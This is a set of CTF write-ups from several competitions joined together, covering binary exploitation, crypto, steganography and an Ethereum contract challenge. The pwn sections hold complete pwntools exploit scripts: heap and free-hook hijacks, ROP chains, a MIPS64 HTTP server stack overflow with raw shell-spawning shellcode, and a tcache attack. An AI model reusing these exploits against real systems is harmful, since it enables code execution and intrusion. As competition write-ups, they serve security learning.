read the flag and use exit code to leak it one by one.
vm structure:
```cpptypedef struct{ uint64_t r0; uint64_t r1; uint64_t r2; uint64_t r3; uint64_t r4; uint64_t r5; uint64_t r6; uint64_t r7; uint64_t* rsp; uint64_t* rbp; uint8_t* pc; uint32_t stack_size; uint32_t stack_cap;}vm;```
vm instruction:
```cppenum{ OP_ADD = 0, //add OP_SUB, //sub OP_MUL, //mul OP_DIV, //div OP_MOV, //mov OP_JSR, //jump register OP_AND, //bitwise and OP_XOR, //bitwise xor OP_OR, //bitwise or OP_NOT, //bitwise not OP_PUSH, //push OP_POP, //pop OP_JMP, //jump OP_ALLOC, //alloc new stack OP_NOP, //nop};```
The program first reads an instruction of 0x1000 length, then checks whether the instruction is legal or not, and passes the number of instructions together to the run_vm function, and run_vm function start to execute the instruction.
There are no check with JMP and JSR instruction in the check_instruction function,and look at the init_vm function:

vm->stack is allocated after vm->pc,it means vm->stack at high address,so we can push the instruction into stack first and jmp to stack to run the instruction that not be checked. Now we can use MOV instruction to arbitrary read and write.
So a basic exploit as follows:
- push the instruction into stack and jmp to stack to run it- Reduce the size of the chunk where the vm->stack is located so that it doesn't merge with top_chunk after free, and we can use the remaining libc address on the heap- Use ADD,SUB and MOV instruction to arbitrary write,modify `__free_hook` to `setcontext+53` - trigger free to hijack it
exp:
```pythonfrom pwn import *
context.arch="amd64"
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
def push_code(code): padding = 0 if (len(code)%8 == 0) else 8 - (len(code)%8) c = code+p8(instr["nop"])*padding # align 8 push_count = len(c)/8 sc = (p8(instr["push"])+p8(1)+p64(0x21))*(0xf6-push_count) for i in range(push_count-1,-1,-1): sc += p8(instr["push"])+p8(1)+p64(u64(c[i*8:i*8+8])) return sc
def main(host,port=6001): global p if host: pass else: pass # debug(0x000000000000F66) flag = '' for i in range(0x40): p = remote(host,port) code = p8(instr["mov"])+p8(8)+p8(0)+p8(9) # mov r0,rbp code += p8(instr["add"])+p8(1)+p8(1)+p64(0x701) # add r1,0x701 code += p8(instr["sub"])+p8(1)+p8(0)+p64(0x808) # sub r0,0x800 code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 ; overwrite chunk size code += p8(instr["alloc"])+p32(0x400) # alloc(0x400) ; free chunk code += p8(instr["add"])+p8(1)+p8(0)+p64(8) # add r0,0x8 code += p8(instr["mov"])+p8(16)+p8(2)+p8(0) # mov r2,[r0] code += p8(instr["sub"])+p8(1)+p8(2)+p64(0x3ec140) # sub r2,0x3ec140 ; r2 --> libc_base code += p8(instr["mov"])+p8(8)+p8(3)+p8(2) # mov r3,r2 code += p8(instr["add"])+p8(1)+p8(3)+p64(libc.symbols["__free_hook"]) # add r3,libc.symbols["__free_hook"] code += p8(instr["mov"])+p8(8)+p8(4)+p8(2) # mov r4,r2 code += p8(instr["add"])+p8(1)+p8(4)+p64(libc.symbols["setcontext"]+0x35) # add r4,libc.symbols["setcontext"]+0x35 code += p8(instr["mov"])+p8(32)+p8(3)+p8(4) # mov [r3],r4 ; overwrite chunk size code += p8(instr["mov"])+p8(1)+p8(1)+p64(u64("/flag".ljust(8,"\x00"))) # mov r1,'/flag' code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 code += p8(instr["mov"])+p8(8)+p8(1)+p8(0) # mov r1,r0 code += p8(instr["add"])+p8(1)+p8(0)+p64(0x68) # add r0,0x68 code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 # rdi code += p8(instr["add"])+p8(1)+p8(0)+p64(0x10) # add r0,0x10 code += p8(instr["add"])+p8(1)+p8(1)+p64(0x300) # add r1,0x300 code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 # rbp code += p8(instr["add"])+p8(1)+p8(0)+p64(0x28) # add r0,0x28 code += p8(instr["add"])+p8(1)+p8(1)+p64(0xa8) # add r1,0x200 code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 # rsp code += p8(instr["add"])+p8(1)+p8(0)+p64(0x8) # add r0,0x8 code += p8(instr["mov"])+p8(8)+p8(3)+p8(2) # mov r3,r2 code += p8(instr["add"])+p8(1)+p8(3)+p64(0x439c8) # add r3,offset code += p8(instr["mov"])+p8(32)+p8(0)+p8(3) # mov [r0],r3 # rcx # 0x00000000000d3d8a: ret; # 0x00000000000a17e0: pop rdi; ret; # 0x00000000001306d9: pop rdx; pop rsi; ret; # 0x00000000000439c8: pop rax; ret; # 0x00000000000d2975: syscall; ret; # 0x000000000002f128: mov rax, qword ptr [rsi + rax*8 + 0x80]; ret; # 0x000000000012188f: mov rdi, rax; mov eax, 0x3c; syscall; ret = 0x00000000000d3d8a p_rdi = 0x00000000000a17e0 p_rdx_rsi = 0x00000000001306d9 p_rax = 0x00000000000439c8 syscall_ret = 0x00000000000d2975 buf = 0x3ec000 payload = [ ret,p_rax,2,p_rdx_rsi,0,0,syscall_ret, p_rdi,0,p_rdx_rsi,0x80,buf,p_rax,0,syscall_ret, p_rax,0,p_rdx_rsi,0,buf-0x80+i,0x2f128,0x12188f ] code += p8(instr["mov"])+p8(8)+p8(0)+p8(1) # mov r0,r1 for value in payload: if value < 0x100: code += p8(instr["mov"])+p8(1)+p8(1)+p64(value) # mov r1,value code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 else: code += p8(instr["mov"])+p8(8)+p8(3)+p8(2) # mov r3,r2 code += p8(instr["add"])+p8(1)+p8(3)+p64(value) # add r3,offset code += p8(instr["mov"])+p8(32)+p8(0)+p8(3) # mov [r0],r3 code += p8(instr["add"])+p8(1)+p8(0)+p64(0x8) # add r0,0x8 code += p8(instr["alloc"])+p32(0x200) # alloc(0x200) ; trigger free code = push_code(code) p.recvuntil("code: ") p.send(code.ljust(0xf6d,p8(instr["nop"]))+p8(instr["jmp"])+p8(0xf1)+p8(instr["nop"])*0x90+'\xff') p.recvuntil("code: ") flag += chr(int(p.recv(),16)) info(flag) p.close() # pause() if flag[-1] == '}': break; if __name__ == "__main__": libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False) # elf = ELF("./easy_printf",checksec=False) instr = {"add":0,"sub":1,"mul":2,"div":3,"mov":4,"jsr":5,"and":6,"xor":7,"or":8,"not":9,"push":10,"pop":11,"jmp":12,"alloc":13,"nop":14} main(args['REMOTE'])
```
## no_write
The program only allows us to use open, read, exit and exit_group system calls, no write, so we have to find a way to leak the flag
The first thing is that without the write system call, we can't do the leak, but we can use this gadget to get the libc address we want:
```c.text:00000000004005E8 add [rbp-3Dh], ebx.text:00000000004005EB nop dword ptr [rax+rax+00h]```
rbp and ebx are both controled
We can use the stack pivoting method to migrate the stack to the bss segment, then call `__libc_start_main` , the bss segment will remain libc address after it. Then use the above gadget, we can arbitrary call
The problem now is how to leak the flag, and one way I give here is to use the strncmp function to compare the flag one by one
The specific ideas are as follows
- open and read flag into bss segment first.- read characters we want to brute force into the end of the BSS segment (0x601FFFF)- Then call strncmp(flag,0x601FFFF,2), if we enter the same characters with flag, the program will `segment fault` and we will received an EOFError , because strncmp is trying to read the contents at 0x602000- If the comparison in previous step is incorrect, the program can continue to run
exp:
```pythonfrom pwn import *import stringcontext.arch='amd64'
def ret_csu(func,arg1=0,arg2=0,arg3=0): payload = '' payload += p64(0)+p64(1)+p64(func) payload += p64(arg1)+p64(arg2)+p64(arg3)+p64(0x000000000400750)+p64(0) return payloaddef main(host,port=2333): # global p # if host: # p = remote(host,port) # else: # p = process("./no_write") # gdb.attach(p,"b* 0x0000000004006E6") # 0x0000000000400773 : pop rdi ; ret # 0x0000000000400771 : pop rsi ; pop r15 ; ret # .text:0000000000400544 call cs:__libc_start_main_ptr # .text:00000000004005E8 add [rbp-3Dh], ebx # .text:00000000004005EB nop dword ptr [rax+rax+00h] # .text:00000000004005F0 rep retn charset = '}{_'+string.digits+string.letters flag = '' for i in range(0x30): for j in charset: try: p = remote(host,6000) pppppp_ret = 0x00000000040076A read_got = 0x000000000600FD8 call_libc_start_main = 0x000000000400544 p_rdi = 0x0000000000400773 p_rsi_r15 = 0x0000000000400771 # 03:0018| 0x601318 -> 0x7f6352629d80 (initial) <-0x0 offset = 0x267870 #initial - __strncmp_sse42 readn = 0x0000000004006BF leave_tet = 0x00000000040070B payload = "A"*0x18+p64(pppppp_ret)+ret_csu(read_got,0,0x601350,0x400) payload += p64(0)+p64(0x6013f8)+p64(0)*4+p64(leave_tet) payload = payload.ljust(0x100,'\x00') p.send(payload) sleep(0.3) payload = "\x00"*(0x100-0x50) payload += p64(p_rdi)+p64(readn)+p64(call_libc_start_main) payload = payload.ljust(0x400,'\x00') p.send(payload) sleep(0.3) # 0x601318 payload = p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff) payload += p64(0x601318+0x3D)+p64(0)*4+p64(0x4005E8) # 0x00000000000d2975: syscall; ret; # 02:0010| 0x601310 -> 0x7f61d00d8628 (__exit_funcs_lock) <- 0x0 offset = 0x31dcb3 # __exit_funcs_lock - syscall payload += p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff) payload += p64(0x601310+0x3D)+p64(0)*4+p64(0x4005E8) payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601800,2) payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(0x601310,0x601350+0x3f8,0,0) #open flag payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(read_got,3,0x601800,0x100) #read flag payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601ff8,8) # now we can cmp the flag one_by_one payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(0x601318,0x601800+i,0x601fff,2) payload += p64(0)*6 for _ in range(4): payload += p64(p_rdi)+p64(0x601700)+p64(p_rsi_r15)+p64(0x100)+p64(0)+p64(readn) payload = payload.ljust(0x3f8,'\x00') payload += "flag\x00\x00\x00\x00" p.send(payload) sleep(0.3) p.send("dd"+"d"*7+j) sleep(0.5) p.recv(timeout=0.5) p.send("A"*0x100) # info(j) p.close() # p.interactive() except EOFError: flag += j info(flag) if(j == '}'): exit() p.close() # pause() breakif __name__ == "__main__": # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False) main(args["REMOTE"])
```
## mginx
I find this chllenge can getshell after game, but I release hint2 says can't getshell, I am so sorry about it.
mips64 big endian,not stripped
The logic of the program is not very complicated, it is a simple http server, a stack overflow in the following code:

This sStack4280 variable is the length of our `Content-Length` plus `body length`. If we set `Content-Length` to 4095 and fill in multiple bytes in the body, then sStack4280 will exceed 0x1000 and directly cause stack overflow, here is a poc:
```pythonreq = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"A") # pause() p.send(req)```
With this stack overflow, we can hijack the return address of the main function, the program has no PIE, and the data segment can be executed, but the remote environment has ASLR, so we have to bypass the ASLR first.
Since we can stack overflow, the first thing that i think is ROP, but this program doesn't have many gadgets that can be used, so ROP is not very good, let's look at the instructions end of main function

we can control ra, s8 and gp,After many attempts, I finally chose to jump here:

we can overwrite the s8 as the address of the data segment, so that we can read our shellcode into data segment, and use the stack overflow in the main function to overwrite the return address as the address of the shellcode :D.
exp:
```python#python exp.py REMOTE=124.156.129.96 DEBUGfrom pwn import *import sys
context.update(arch='mips',bits=64,endian="big")
def main(host,port=8888): global p if host: p = remote(host,port) else: # p = process(["qemu-mips64","-g","1234","./mginx"]) p = process(["qemu-mips64","./mginx"]) # gdb.attach(p) # req = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"A") # pause() p.send(req) # pause() # orw sc = "\x3c\x0d\x2f\x66\x35\xad\x6c\x61\xaf\xad\xff\xf8\x3c\x0d\x67\x00\xaf\xad\xff\xfc\x67\xa4\xff\xf8\x34\x05\xff\xff\x00\xa0\x28\x2a\x34\x02\x13\x8a\x01\x01\x01\x0c" sc += "\x00\x40\x20\x25\x24\x06\x01\x00\x67\xa5\xff\x00\x34\x02\x13\x88\x01\x01\x01\x0c" sc += "\x24\x04\x00\x01\x34\x02\x13\x89\x01\x01\x01\x0c"
# getshell # sc = "\x3c\x0c\x2f\x2f\x35\x8c\x62\x69\xaf\xac\xff\xf4\x3c\x0d\x6e\x2f\x35\xad\x73\x68\xaf\xad\xff\xf8\xaf\xa0\xff\xfc\x67\xa4\xff\xf4\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x13\xc1\x01\x01\x01\x0c"
payload = "A"*0xf30 payload += p64(0x000000012001a250)+p64(0x000000120012400) # remain 0x179 byte payload += p64(0x1200018c4)+"D"*(0x179-8) p.send(payload) p.recvuntil("404 Not Found :(",timeout=1) # pause()
req = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"\x00") p.send(req) # pause() payload = "\x00"*0xa88 # fix the chunk payload += p64(0) + p64(21) payload += "\x00"*(0xf40-0xa98) # remain 0x179 byte payload += p64(0x00000001200134c0) payload += "\x00"*0x20+sc+"\x00"*(0x179-0x28-len(sc)) p.send(payload) try: p.recvuntil("404 Not Found :(",timeout=1) flag = p.recvuntil("}",timeout=1) if flag != '' : info(flag) pause() except: p.close() return p.close() if __name__ == "__main__": for i in range(200): try: main(args['REMOTE']) except: continue ```
get flag!

getshell exp:
```pythonfrom pwn import *import sys
context.update(arch='mips',bits=64,endian="big")
def main(host,port=8888): global p if host: p = remote(host,port) else: # p = process(["qemu-mips64","-g","1234","./mginx"]) p = process(["qemu-mips64","./mginx"]) # gdb.attach(p) # req = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"A") p.send(req) # pause()
# getshell sc = "\x03\xa0\x28\x25\x64\xa5\xf3\x40" sc += "\x3c\x0c\x2f\x2f\x35\x8c\x62\x69\xaf\xac\xff\xf4\x3c\x0d\x6e\x2f\x35\xad\x73\x68\xaf\xad\xff\xf8\xaf\xa0\xff\xfc\x67\xa4\xff\xf4\x28\x06\xff\xff\x24\x02\x13\xc1\x01\x01\x01\x0c"
payload = "A"*0xf30 payload += p64(0x000000012001a250)+p64(0x000000120012400) # remain 0x179 byte payload += p64(0x1200018c4)+"D"*(0x179-8) p.send(payload) p.recvuntil("404 Not Found :(",timeout=1)
req = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"\x00") p.send(req) payload = "\x00"*0x288 # argv_ 0x0000000120012800 argv_ = p64(0x120012820)+p64(0x120012828)+p64(0x120012830)+p64(0) argv_ += "sh".ljust(8,'\x00') argv_ += "-c".ljust(8,'\x00') argv_ += "/bin/sh".ljust(8,'\x00') payload += argv_ payload += "\x00"*(0x800 - len(argv_)) # fix the chunk payload += p64(0) + p64(21) payload += "\x00"*(0xf40-0xa98) # remain 0x179 byte payload += p64(0x00000001200134c0)
payload += "\x00"*0x20+sc+"\x00"*(0x179-0x28-len(sc)) p.send(payload) try: p.recvuntil("404 Not Found :(",timeout=1) p.sendline("echo dididididi") _ = p.recvuntil("didid",timeout=1) if _ != '': p.interactive() except: p.close() return p.close() if __name__ == "__main__": for i in range(200): try: main(args['REMOTE']) except: continue # main(args['REMOTE'])```
## note
Step 1: **get enough money**
The initial value of money is 0x996, size * 857 > money can not be applied, there is an operation of money += size in the delete function, so
The first thing is to modify the value of the money by multiply overflow.
Step 2: **leak libc and heap**
The calloc function allocate an MMAP chunk that does not perform a memset clearing operation, and there is a heap overflow in the super_edit(choice 7) function, modify the MMAP flag bit to 1 via the heap overflow to leak the libc and heap address.
Step 3: **tcache smashing unlink**
Use the off by null in edit function to unlink the chunk, and then use tcache smashing unlink to chain the `__malloc_hook` into tcache , call super_buy(choice 6) function to overwrite `__malloc_hook`, trigger calloc to getshell
exp:
```python#coding:utf-8from pwn import *import hashlibimport sys,string
local = 1
# if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'): # context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')# libc = ELF('./libc_debug.so',checksec=False)one = [0xe237f,0xe2383,0xe2386,0x106ef8]
if local: p = process('./note_') else: p = remote("124.156.135.103",6004) def debug(addr=0,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) #print "breakpoint_addr --> " + hex(text_base + 0x202040) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)rc = lambda s:p.recv(s)sl = lambda s:p.sendline(s)ru = lambda s:p.recvuntil(s)sda = lambda a,s:p.sendafter(a,s)sla = lambda a,s:p.sendlineafter(a,s)
def info(name,addr): log.info(name + " --> %s",hex(addr))
def add(idx,size): sla("Choice: ",'1') sla("Index: ",str(idx)) sla("Size: ",str(size))
def delete(idx): sla("Choice: ",'2') sla("Index: ",str(idx))
def show(idx): sla("Choice: ",'3') sla("Index: ",str(idx))
def edit(idx,data): sla("Choice: ",'4') sla("Index: ",str(idx)) sla("Message: \n",data)
def super_edit(idx,data): sla("Choice: ",'7') sla("Index: ",str(idx)) sda("Message: \n",data)
def get_money(): sla("Choice: ",'1') sla("Index: ",str(0)) sla("Size: ",'21524788884141834') delete(0)
def super_buy(data): sla("Choice: ",'6') sla("name: \n",data)
# get enough moneyget_money()
# leak heap and libc addressadd(0,0x80)add(1,0x500)add(2,0x80)delete(1)
add(1,0x600) #now 0x510 in largebin
pay = 0x88*b'\x00' + p64(0x510+1+2)super_edit(0,pay) # overwrite is_mmap flag
add(3,0x500)
show(3)rc(8)# libc_base = u64(rc(8)) - 0x1eb010libc_base = u64(rc(8)) - 0x1e50d0heap_base = u64(rc(8)) - 0x320
malloc_hook = libc_base + libc.symbols['__malloc_hook']free_hook = libc_base + libc.symbols['__free_hook']realloc = libc_base + libc.symbols['realloc']onegadget = libc_base + one[3]
# fill tcache 0x90delete(0)delete(1)delete(2)for i in range(5): add(0,0x80) delete(0)# fill tcache 0x60for i in range(5): add(0,0x50) delete(0)
# fill tcache 0x230for i in range(7): add(0,0x220) delete(0)# set a 0x60 to smallbin add(0,0x420)add(1,0x10)delete(0)add(0,0x3c0)add(2,0x60)
# null off by one to unlinktarget = heap_base + 0x2220 #unlink targetpay = b''pay += p64(0)pay += p64(0x231)pay += p64(target - 0x18)pay += p64(target - 0x10)pay += p64(target) #ptradd(4,0x80)edit(4,pay)
add(5,0x80)edit(5,p64(heap_base+0x2190))
add(6,0x80)add(7,0x80)
add(8,0x5f0) # will be freed and consolidate with topchunkdelete(7)pay = 0x80*b'\x00' + p64(0x230)add(7,0x88)edit(7,pay)
delete(8) #unlinkadd(8,0x220)add(9,0x90)delete(8)add(8,0x1c0)add(10,0x60)
pay = b'a'*0x20 + p64(0) + p64(0x61)pay += p64(heap_base + 0x2090)pay += p64(malloc_hook - 0x38)edit(7,pay)info("libc_base",libc_base)info("heap_base",heap_base)
add(11,0x50)pay = b'\x00'*0x20 + p64(onegadget) + p64(realloc+9)super_buy(pay)
add(12,0x70)
p.interactive()```
## cipher
mips64 big endian,not stripped
Understand the logic of the program, write the correct decryption function
The initial value of key comes from the rand() function, you need to brute force the key

exp:
```pythonfrom struct import pack, unpack
def ROR(x,r): return (x>>r)|((x<<(64-r))&0xffffffffffffffff)def ROL(x,r): return (x>>(64-r))|((x<<r)&0xffffffffffffffff)def R(x,y,k): x = ROR(x,8) x = (x+y)&0xffffffffffffffff x^=k y = ROL(y,3) y^=x return x,ydef RI(x,y,k): y^=x y = ROR(y,3) x^=k x = (x-y)&0xffffffffffffffff x = ROL(x,8) return x,y
def encrypt(t,k): y=t[0] x=t[1] b=k[0] a=k[1] x,y = R(x,y,b) for i in range(31): a,b = R(a,b,i) x,y = R(x,y,b) return y,x
def decrypt(t,k): y=t[0] x=t[1] b=k[0] a=k[1] keys = [] for i in range(32): keys.append(b) a,b = R(a,b,i) for i in range(32): x,y = RI(x,y,keys[31-i]) return y,x
def solve(): with open('ciphertext', 'rb') as f: ct = f.read().strip() print ct.encode('hex') key = -1 for i in range(65536): t0 = unpack('>Q',ct[:8])[0] t1 = unpack('>Q',ct[8:16])[0] x,y = decrypt([t0,t1],[i<<48,0]) ans = pack('>Q',x)+pack('>Q',y) if ans.startswith('RCTF'): key = i break
assert key!=-1 print key ans = '' for i in range(len(ct)/16): t0 = unpack('>Q',ct[i*16:i*16+8])[0] t1 = unpack('>Q',ct[i*16+8:i*16+16])[0] print hex(t0), hex(t1) x,y = decrypt([t0,t1],[key<<48,0]) ans += pack('>Q',x)+pack('>Q',y) print ans solve()
``` |
# arabfunnyMisc, 40
> Written by jpes707> So many sounds...
The obvious first move is just to lower the gain of the track in audacity, it sounds terrible.
After skipping through we eventually hear DTMF tones, starting at 1:02.
Yes, I really did spend 5-10 minutes transcribing by hand.
After transcribing, we get:
`116106099116102123098114117104095099097109101108095050052048112125`
This looks like t9 code, but it's actually not :(
We stare at it long enough and channel our inner chakra to realize that it's just plain ASCII (116, 106, etc.), which spells out the flag.
Flag: `tjctf{bruh_camel_240p}` |
# Crypto
## Goose ChaseChallange Description: ``` There's no stopping this crazy goose.+2 PNG File```Challange gives us two different .png files. Both have strange looked strip at the bottom. So using `stegsolve` to combine them. And it gives the flag.

## One Tricky PonyChallange Description: ```nc chals20.cybercastors.com 14422```
It returns hex values when entered random characters. Then try to enter some spaces in it. And then it gives ```b'CASTORSctf[K\x13\x13P\x7fY\x10UR\x7fK\x13Y\x15\x7f\x15\x13CR\x13\x17\x7f\x14ND\x7fD\x10N\x17\x7fR\x13U\x15\x13\x7f\x17H\x13M\x01]```
By using the [ASCII Table](https://bluesock.org/~willg/dev/ascii.html) and manually decode every hex value. And the flag is ``` castorsCTF{k33p_y0ur_k3y5_53cr37_4nd_d0n7_r3u53_7h3m!}```
## Magic School BusChallange Description:```nc chals20.cybercastors.com 14422Flag is slightly out of format. Add underscores and submit uppercase```There is two options. The second one gives the flag with changing the order and making them uppercase. This was the given flag:```SCNTGET0SKV3CTNESYS2ISL7AF4I0SC0COM5ORS31RR3AYN1```And in the first option it change the given letter to uppercase and if you write multiple characters it change the order. Need to find how it change the order. To find it gave it 46 char lenght of string that has not same char in it. ```Input:ABCDEFTGHIJKLMNOPRSTVYZXWQÖÇÜĞŞİ1234567890€₺½¾Output:TNZŞ7DKTÇ4½AHPW19CJSÖ3€BIRQ20GOİ8ELVÜ5¾FMYĞ6₺```Then check and note how it change the order by each index. Then apply by reversely on the given flag.The flag is:```CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}```
## Two PathChallange Description:```The flag is somewhere in these woods, but which path should you take?```
Using ```strings``` on the image and it gives us a binary.
```01101000 01110100 01110100 01110000 01110011 00111010 00101111 00101111 01100111 01101111 00101110 01100001 01110111 01110011 00101111 00110010 01111010 01110101 01000011 01000110 01000011 01110000 ```When decode it gaves this link:```https://go.aws/2zuCFCp```Where we can find a lot of random emojies like:```♈♓♒??♉❌?♏♉❌⏺♓♒♊!_⏺?_?♓?_♈♉♒_?✖♉⛎_❌⏫⏺♊,_❌⏫✖♒_?♓?_⏫♉➗✖_♊♓♏➗✖⛎_❌⏫✖_♈⏺♑⏫✖?!_?✖_➿?♊❌_⏫♓♑✖_?♓?_?♓?♒⛎_♉_Ⓜ♓?✖_✖??⏺♈⏺✖♒❌_?♉?_?♓?_⛎✖♈⏺♑⏫✖```Need to decode this but to decode it we need more. So return to the image and ```stegsolve``` on it. When we change the color settings the hidden link appear in the left bottom corner. The page is named ```decode-this``` .```https://go.aws/2X1R6H7```In this link there is a chat between two people. One is texting and other only using emojies. Guessed some of the words that the second person said eg. ```hi! ``` and ```you?```. By using these letters found all alphabet in emojies. ```♉: A♌: B♈: C⛎: D✖ : E?: F?: G⏫: H⏺: I?: K♏: LⓂ: M♒: N♓: O♑: P?: R♊: S❌: T?: U?: Y?: Z?: W?: X``` Then search castorsCTF by using emoji alpahbet in the ```decode-this``` website. The flag is:```castorsCTF{sancocho_flag_qjzmlpg}```
## Jigglypuff's SongChallange Description:```Can you hear Jigglypuff's song?```
Use ```stegsolve``` on it and and then do ```data analyze``` on it with cheking only the RGB 7 boxes. The flas is in the text. ```castorsCTF{r1ck_ r0ll_w1lln3v3r d3s3rt_y0uuuu}```
## AmazonChallange Description:```Are you watching the new series on Amazon?198 291 575 812 1221 1482 1955 1273 1932 2030 3813 2886 1968 4085 3243 5830 5900 5795 5628 3408 7300 4108 10043 8455 6790 4848 11742 10165 8284 5424 14986 6681 13015 10147 7897 14345 13816 8313 18370 8304 19690 22625```Description gaves two hints. One is ```prime``` other is ```series```. Write a script to divide every number to the prime number which has the same index.
```pythonimport string
numbers = ['198', '291', '575', '812', '1221', '1482', '1955', '1273', '1932', '2030', '3813', '2886', '1968', '4085', '3243', '5830', '5900', '5795', '5628', '3408', '7300', '4108', '10043', '8455', '6790', '4848', '11742', '10165', '8284', '5424', '14986', '6681', '13015', '10147', '7897', '14345', '13816', '8313', '18370', '8304', '19690', '22625']
primes = ["2","3","5","7", "11","13","17","19", "23","29","31","37", "41","43","47","53", "59","61","67","71", "73","79","83","89", "97","101","103","107", "109","113","127","131", "137","139","149","151", "157","163","167","173", "179","181"]
parts = []
for i in range(len(numbers)): parts.append(int(numbers[i]) // int(primes[i]))
flag = ""for part in parts: print(chr(part), end="")```And the flag is:```castorsCTF{N0_End_T0d4y_F0r_L0v3_I5_X3n0n}```Authors: * https://github.com/ahmedselim2017* https://github.com/zeyd-ilb## 0x101 DalmatiansChallange Description:```Response to Amazon: Nah, I only need to be able to watch 101 Dalmatians.
c6 22 3d 29 c1 c5 9c f5 85 e7 d7 0e 46 e6 21 e7 dd 8d db 43 a0 34 77 04 7f 32 13 8c c9 01 65 78 5f c0 14 8e 33 bf bc 02 21 79 e1 5d d3 46 e0 ca ee 72 c2 26 38```Challange says it response to Amazon so it should be again about prime series.
```pythonprimes = ["2","3","5","7","11","13","17","19","23","29","31","37","41","43","47","53","59","61","67","71","73","79","83","89","97","101","103","107","109","113","127","131","137","139","149","151","157","163","167","173","179","181","191","193","197","199","211","223","227","229","233","239","241","251","257"]
all_ct = "198 34 61 41 193 197 156 245 133 231 215 14 70 230 33 231 221 141 219 67 160 52 119 4 127 50 19 140 201 1 101 120 95 192 20 142 51 191 188 2 33 121 225 93 211 70 224 202 238 114 194 38 56".split()
alphabet = ["}","{","c","w","e","r","t","y","u","ı","o","p","a","s","d","f","g","h","j","k","l","i","z","x","q","v","b","n","m","Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M","_","1","2","3","4","5","6","7","8","9","0"]
prime = primes[0]mod = 0x101
def bf(): for i in range(53): ct = all_ct[i] for b in primes: for u in alphabet: if ord(u) * int(b) % mod == int(ct): if primes.index(b) == i: print(u, end="") bf()```Output:```castorsCTF{1f_y0u_g07_th1s_w1th0u7_4ny_h1n7s_r3sp3c7}```Authors: * https://github.com/ahmedselim2017* https://github.com/zeyd-ilb |
# Guessing
## Setup
The challenge is available at http://ethereum.sharkyctf.xyz/level/2
Before starting, it is recommended to follow the suggested steps at http://ethereum.sharkyctf.xyz/help to setup Metamask, get Ether from a Ropsten faucet, and Remix IDE.
## Challenge
The contract to attack is the following:
```soliditypragma solidity = 0.4.25;
contract Guessing { address public owner; bytes32 private passphrase; constructor(bytes32 _passphrase) public payable { owner = msg.sender; passphrase = keccak256(abi.encodePacked(_passphrase)); } function withdraw() public { require(msg.sender == owner); msg.sender.call.value(address(this).balance)(); }
function claim(bytes32 _secret) public payable { require(keccak256(abi.encodePacked(_secret)) == passphrase); owner = msg.sender; }}```
The goal is then to be able to call `withdraw()` from the contract.
## Hint
There seems to be a passphrase needed to unlock the contract, and it is hashed by keccak256, so it seems to be secure. Nonetheless, are transactions on a public blockchain readable?
## Solution
All transactions on a public blockchain are recorded and can be read by anyone, including the first transaction that created a contract. Therefore, if a secret is passed to a contract at its creation, one should be able to read what it was just by looking at the records of the initial transaction.
Records of the Ethereum blockchain can be found on Etherscan, in our case we just need to have a look at the contract provided to us on Etherscan Ropsten.
Then we simply have to look at the logs of the first transaction, decode it to UTF-8 and find that the initial passphrase was `I'm pr3tty sur3 y0u brut3f0rc3d!`.
To attack this contract, we will create another contract called Attack, which will be called to attack the first contract.
In the same Solidity file, add the following code :
```soliditycontract Attack { Guessing public target; constructor (address _adress) public { target = Guessing(_adress); } function attack() public pure returns(bytes) { bytes32 _passphrase = "I'm pr3tty sur3 y0u brut3f0rc3d!"; bytes memory output = abi.encodePacked(_passphrase); return output; }}```
Flag: `shkCTF{bl0ckch41n_c0uld_b3_h3lpfull_05b12d40c473800270981b}` |
tldr
1. The service asks to input a passwd that is sent and encoded by the LocalQuantumComuputer and decoded by RemoteQuantumComputer. This is pretty much useless for the challenge.
2. The returned bitstring is the measurement output (computational basis) of the flag encoded in qubits, with a Hadamard gate applied with 50% prob. (bit of key, from /dev/urandom), and a Hadamard gate (bit of passwd, user controlled, just make it 0).
3. There is a bias in the measurement towards the flag bit, as if the flag bit is 0, the probability to get the output 0 is 75%, same for bit 1. This is more than enough to recover the flag.
More details in the full writeup at [https://sectt.github.io/writeups/Pwn2Win20/crypto_lostqkeys/README](https://sectt.github.io/writeups/Pwn2Win20/crypto_lostqkeys/README) |
It turned out to be a simple replacement cipher + permutation of elements according to a well-known plan. So I just modified the program a bit and brute force the flag.
